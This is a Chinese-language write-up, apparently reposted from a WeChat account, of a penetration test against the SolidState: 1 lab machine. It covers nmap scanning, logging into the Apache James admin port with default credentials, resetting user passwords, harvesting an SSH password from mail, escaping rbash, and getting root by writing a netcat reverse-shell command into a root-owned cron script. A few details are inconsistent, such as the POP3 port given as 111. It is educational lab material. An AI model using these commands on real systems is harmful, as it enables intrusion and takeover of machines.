“ 引言部分,总领全篇文章的中心内容。”
01
—
靶场渗透测试
靶场:SolidState: 1靶场
攻击机:kali-linux-2024
第一部分:信息收集
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
靶机IP地址192.168.23.158,攻击机IP地址192.168.23.140
3,扫描靶机端口服务
nmap -sS -sV -n -T4 -p- 192.168.23.158
(一)-sS
这是一种TCP SYN扫描(又称半开放扫描或隐身扫描)。它的工作原理是发送一个SYN包到目标端口,如果收到SYN - ACK响应,表示端口是开放的;如果收到RST包,表示端口是关闭的。这种扫描方式相对比较隐蔽,因为它不会建立完整的TCP连接,所以不太容易被目标系统记录下来1。
(二)-sV
打开系统版本检测功能。nmap会尝试识别目标端口上运行的服务版本信息,这对于了解目标系统的安全性状况非常有帮助,例如是否存在已知版本的漏洞等1。
(三)-n
表示不进行DNS解析。这在扫描过程中可以提高扫描速度,因为不需要花费时间去查询目标IP对应的域名,适用于只关注IP地址相关的扫描任务2。
(四)-T4
用于设置扫描速度。-T选项的值范围从0 - 5,数字越大表示扫描速度越快。T4是一个比较常用的扫描速度设置,它在速度和准确性之间取得了较好的平衡。不过,扫描速度过快可能会对网络造成一定的压力,或者在某些情况下被目标系统的防护机制检测到并阻止扫描2。
(五)-p-
表示扫描所有端口。默认情况下,nmap可能只会扫描一些常见的端口,如果使用-p-则会对目标IP(这里是192.168.23.158)的所有65535个端口进行扫描,以全面检测目标系统开放的端口情况
22/tcp端口(SSH - OpenSSH 7.4p1 on Debian 10+deb9u1)
端口特点
- 基于SSH协议:SSH(Secure Shell)主要用于安全地远程登录到系统和执行命令。它对传输的数据进行加密,保障通信的安全性。OpenSSH是SSH协议的开源实现,此端口运行的是OpenSSH 7.4p1版本,运行在Debian 10+deb9u1系统上,采用protocol 2.0协议。这种协议版本相对较旧,可能存在一些已知的安全问题,但也具备基本的加密和认证功能,可防止数据在传输过程中的窃听和篡改等基本安全需求。
潜在渗透测试漏洞
- 版本相关漏洞:旧版本的OpenSSH可能存在一些公开的漏洞,如某些特定的配置不当或者代码缺陷可能被攻击者利用。例如,OpenSSH 8.9版本至9.3之前版本存在安全漏洞,虽不确定7.4p1版本是否有类似情况,但旧版本需关注官方发布的安全公告。
- 弱口令爆破:如果系统存在弱口令,攻击者可能使用工具(如Hydra等)进行爆破尝试,一旦成功获取账号密码,就能够登录系统并可能进一步执行恶意操作。
- 配置漏洞:错误的配置可能导致安全风险,例如允许Root用户直接登录(如果没有适当的限制),或者某些加密算法的不当使用等。
25/tcp端口(SMTP - JAMES smtpd 2.3.2)
端口特点
- 邮件传输协议:SMTP(Simple Mail Transfer Protocol)主要用于邮件服务器之间的邮件传输。JAMES smtpd 2.3.2是一个Java Apache Mail Enterprise Server的SMTP守护进程。它负责接收和发送邮件,支持邮件的转发、排队等功能。
潜在渗透测试漏洞
- 邮件伪造:可能存在漏洞被利用来伪造邮件发送者地址,从而发送恶意邮件或进行钓鱼攻击。
- 未授权访问:如果配置不当,可能存在未授权访问漏洞,攻击者可能利用此漏洞发送大量垃圾邮件或者获取邮件服务器中的邮件信息。
- 命令注入漏洞:某些版本的SMTP服务可能存在命令注入漏洞,攻击者可能通过构造恶意的邮件内容来执行任意命令。
80/tcp端口(HTTP - Apache httpd 2.4.25 on Debian)
端口特点
- 超文本传输协议:HTTP(HyperText Transfer Protocol)用于在Web浏览器和Web服务器之间传输数据,是互联网上最常用的协议之一。Apache httpd 2.4.25是一个广泛使用的开源Web服务器软件,运行在Debian系统上。它可以提供网页服务、支持动态网页技术(如PHP等),能够处理多种类型的Web请求并返回相应的内容。
潜在渗透测试漏洞
- Web应用漏洞:由于运行Web服务,可能存在各种Web应用漏洞,如SQL注入、跨站脚本攻击(XSS)、文件包含漏洞等。这些漏洞可能存在于运行在Web服务器上的应用程序代码中。
- 服务器配置漏洞:Apache的配置如果不正确,可能导致目录遍历漏洞、服务器信息泄露等问题。例如,错误的访问控制配置可能允许攻击者访问未授权的目录或者文件。
- 中间件漏洞:Apache httpd 2.4.25本身可能存在一些版本相关的漏洞,攻击者可能利用这些漏洞来获取服务器的控制权或者执行恶意操作。
110/tcp端口(POP3 - JAMES pop3d 2.3.2)
端口特点
- 邮件接收协议:POP3(Post Office Protocol 3)用于从邮件服务器上接收邮件到本地客户端。JAMES pop3d 2.3.2是Java Apache Mail Enterprise Server的POP3守护进程,它允许用户通过POP3协议从服务器下载邮件到本地设备,方便用户在本地离线阅读邮件。
潜在渗透测试漏洞
- 认证漏洞:可能存在弱口令或者认证机制不完善的问题,导致攻击者能够通过暴力破解或者其他手段获取用户的邮件账号访问权限。
- 信息泄露:如果配置不当,可能会泄露用户邮件的相关信息,如邮件内容、账号信息等。
119/tcp端口(NNTP - JAMES nntpd)
端口特点
- 网络新闻传输协议:NNTP(Network News Transfer Protocol)主要用于在新闻服务器之间传输新闻文章(如Usenet新闻组)。JAMES nntpd是Java Apache Mail Enterprise Server的NNTP守护进程,它支持用户阅读、发布和管理新闻文章。
潜在渗透测试漏洞
- 权限管理漏洞:可能存在权限管理不当的问题,导致未经授权的用户能够发布恶意新闻文章或者篡改合法文章内容。
- 信息泄露:如果服务器配置不当,可能会泄露新闻服务器中的一些敏感信息,如用户的订阅信息、新闻组的内部结构等。
4555/tcp端口(JAMES Remote Admin 2.3.2)
端口特点
- 管理接口:这是JAMES(Java Apache Mail Enterprise Server)的远程管理端口,用于管理员对邮件服务器进行远程管理操作,如配置服务器参数、管理用户账号等。
潜在渗透测试漏洞
- 未授权访问:如果没有适当的身份验证和授权机制,攻击者可能通过此端口直接访问管理界面,从而对邮件服务器进行恶意操作,如创建、删除用户账号,修改服务器配置等。
- 认证绕过漏洞:存在认证绕过漏洞的风险,攻击者可能利用某些漏洞绕过正常的登录认证过程,获取管理权限。
4,首先访问80端口开放的web网站
是一个功能比较完善的网站,搭建这个网站应该是使用了比较流行的框架
5,信息收集,dirsearch工具爆破网站子目录
/about.html
/assets->http://192.168.23.158/assets/
/images->http://192.168.23.158/images/
/LICENSE.txt
/README.txt
信息泄露的情况比较严重,有许多不该出现的配置文件信息能被攻击者获取
6,然后再whatweb扫描识别Web技术栈,包括Web服务器、编程语言、框架、CMS、JavaScript库、CDN、云提供商、托管平台、WAF、反爬虫技术、SSL证书、IP地址、子域名、VHost等信息。
看到使用了JQuery库,这是一个JavaScript库,用于简化HTML文档遍历和操作、事件处理、动画和Ajax交互。
7,可以使用nikto扫描,一款开源的Web服务器扫描工具,能够检测出Web服务器上存在的各种安全漏洞
- X-Frame-Options Header Missing:
- 问题描述:反点击劫持X-Frame-Options头缺失。
- 解释:X-Frame-Options头用于防止点击劫持攻击,通过指定页面是否可以在框架中显示来保护页面。
- 建议:在服务器配置中添加X-Frame-Options头,例如X-Frame-Options: SAMEORIGIN,以限制页面只能在同一域名的框架中显示。
- X-Content-Type-Options Header Missing:
- 问题描述:X-Content-Type-Options头缺失。
- 解释:X-Content-Type-Options头用于防止浏览器猜测MIME类型,从而避免某些类型的攻击。
- 建议:在服务器配置中添加X-Content-Type-Options: nosniff,以防止浏览器猜测MIME类型。
- Apache Outdated:
- 问题描述:Apache/2.4.25版本过旧,建议至少升级到Apache/2.4.54。
- 解释:使用过旧的Apache版本可能会导致安全漏洞和性能问题。
- 建议:尽快升级Apache到最新稳定版本,以获得最新的安全补丁和性能改进。
- Private IP Address Disclosed:
- 问题描述:在请求/images时,服务器在Location头中泄露了内部IP地址“fe80::5a6e:1a0e:f15d:bab9”。
- 解释:泄露内部IP地址可能会给攻击者提供有用的信息。
- 建议:确保Location头中不包含敏感信息,特别是内部IP地址。
- ETag Leaks Inode Information:
- 问题描述:服务器可能通过ETag头泄露inode信息。
- 解释:ETag头中的信息可能被用来识别服务器的文件系统结构。
- 建议:考虑修改ETag生成方式,或者在服务器配置中禁用ETag头。
- Directory Indexing Found:
- 问题描述:在请求/images/时,发现了目录索引。
- 解释:启用目录索引可能会暴露服务器上的文件结构,增加被攻击的风险。
- 建议:在服务器配置中禁用目录索引,例如在Apache配置中添加Options -Indexes。
- License File Found:
- 问题描述:在请求/LICENSE.txt 时,发现了许可文件。
- 解释:暴露许可文件可能会给攻击者提供有关服务器软件的信息。
- 建议:将许可文件移出Web可访问目录,或者在服务器配置中限制对该文件的访问。
- Apache Default File Found:
- 问题描述:在请求/icons/README时,发现了Apache默认文件。
- 解释:暴露默认文件可能会给攻击者提供有关服务器配置的信息。
- 建议:移除或限制对这些默认文件的访问。
8,经过这些信息收集之后,web站点还是没有切入点。那么还有一个切入点就是4555端口的james-admin服务,已经知道版本2.3.2,检索一下有无漏洞
果然是是存在的,导出来看看exp文件
脚本功能概述
- 目标: 利用Apache James Server 2.3.2的认证用户远程命令执行漏洞。
- 作者: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec。
- 默认凭据: 用户名为root,密码为root。
- 默认行为: 尝试创建一个新用户,并在特定路径下执行命令。
主要步骤
- 连接到James Remote Administration Tool:
- 使用默认的用户名和密码进行认证。
- 创建一个新的用户,路径为../../../../../../../../etc/bash_completion.d。
- 连接到James SMTP服务器:
- 进一步的操作未完成,但可以推测是利用SMTP服务进行进一步的命令执行。
9,Apache James邮件服务器的默认管理端口是4555,而默认的用户名和密码都是root。可以尝试默认密码登录,也许网站管理员并没有更改密码。(设置了定时用户过期)
10,弱口令登录成功,接下来就需要进行信息收集,首先help看看能够使用哪些命令
首先查看有哪些用户,因为不能直接通过james服务查看他们的邮件以作信息收集,使用就可以先用此处都命令更改他们的密码为1
listusers
setpassword james 1
setpassword thomas 1
setpassword john 1
setpassword mindy 1
setpassword mailadmin 1
11,开放的111端口提供的pop3服务正是用来接收文件的,刚才更改了所有用户的密码,现在就能够登录他们的邮箱账户
POP3服务概述
POP3(Post Office Protocol 3)是一种用于接收电子邮件的协议。它适用于C/S结构的脱机模型,已发展到第三版。POP3规定了如何将个人计算机连接到互联网的邮件服务器并下载电子邮件。它是互联网电子邮件的第一个离线协议标准。POP3允许用户将邮件从服务器下载到本地主机,并在下载后从服务器上删除邮件
POP3的工作原理
POP3协议的工作过程可以分为以下几个步骤:
- 连接:客户端计算机通过TCP/IP协议连接到邮件服务器的POP3端口(通常是110端口)。
- 身份验证:客户端向服务器发送用户的电子邮件地址和密码,以验证用户的身份。这可以通过明文方式(USER和PASS命令)或加密方式(如APOP命令)进行。
- 下载邮件:一旦身份验证成功,客户端可以从服务器下载电子邮件。邮件可以逐封下载,或者一次性下载所有邮件。
- 标记删除:客户端可以选择标记已下载的邮件为删除状态,但这并不会立即删除邮件。
- 断开连接:客户端发送QUIT命令,断开与服务器的连接。此时,所有标记为删除的邮件将会被服务器删除
telnet 192.168.23.158 111
登录mindy用户之后成功在他的邮件里面发现其登录密码
username: mindy pass:P@55W0rd1!2@
12,然后再进行ssh登录
13,信息收集操作
但是这个rbash代表着各种操作被限制
14,在当前家目录下得到第一个flag
15,接下来就需要进行rbash逃逸,否则一些操作做不了
rbash逃逸大全 - 先知社区
这里在ssh 登录时可以通过spawn shell逃逸
ssh username"export TERM=xterm;python -c 'import pty;pty.spawn("/bin/bash")'"
ssh mindy@192.168.23.158"export TERM=xterm;python -c 'import pty;pty.spawn("/bin/bash")'"
16,在靶机上面继续信息收集
ps -aux |grep james
参数解析
- -a:显示所有用户的进程,不仅限于当前用户。
- -u:显示进程的详细信息,包括用户、进程ID、CPU和内存使用情况等。
- -s:显示进程的会话信息。
输出字段解释
ps -aus命令的输出通常包含以下几个字段:
- USER:进程拥有者的用户名。
- PID:进程ID,每个进程的唯一标识符。
- %CPU:进程占用的CPU使用率。
- %MEM:进程占用的内存使用率。
- VSZ:进程使用的虚拟内存大小(以KB为单位)。
- RSS:进程使用的物理内存大小(以KB为单位)。
- TTY:进程关联的终端设备号。如果是?,表示进程没有关联到任何终端。
- STAT:进程的状态代码,包括:
- R:运行状态。
- S:睡眠状态。
- T:停止状态。
- Z:僵尸进程状态。
- START:进程启动的时间。
- TIME:进程累计占用的CPU时间。
- COMMAND:启动该进程的命令及其参数。
可以看到james位于/opt目录下
17,查看/opt下文件的详细信息
发现python脚本设置了一个定时清理临时文件的任务,并且这个脚本属主root
那么就可以往这个文件里面追加一个反弹root权限shell的命令
echo'import os; os.system("/bin/nc 192.168.23.1404444 -e /bin/bash")' > /opt/tmp.py
在尝试建立一个网络连接并执行一个反向 shell操作。它使用os.system 函数在Python中执行一个系统命令。具体来说,它试图通过nc(netcat)命令连接到IP地址为192.168.23.140的主机的4444端口,并将本地的/bin/bash作为输入发送过去,这是一种常见的用于获取远程shell访问的方式。
与此同时kali攻击机开启对4444端口的监听,经过等待之后成功获得root的控制权
最后得到了flag
渗透思路:
在这个靶场当中常规针对80端口WEB网站服务的信息收集和漏洞利用都无法切入,而4555端口的弱口令给了信息收集的切入点,结合110端口查看邮件拿到用户密码。以上的操作和实战相去甚远,提权的步骤则是巧妙使用了服务器设置的定时任务文件,将反弹shell命令写入任务中,从而被攻击者拿到root用户的shell
02
—
标题内容2
原文始发于微信公众号(泷羽sec-freesec):SolidState: 1靶场渗透测试
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论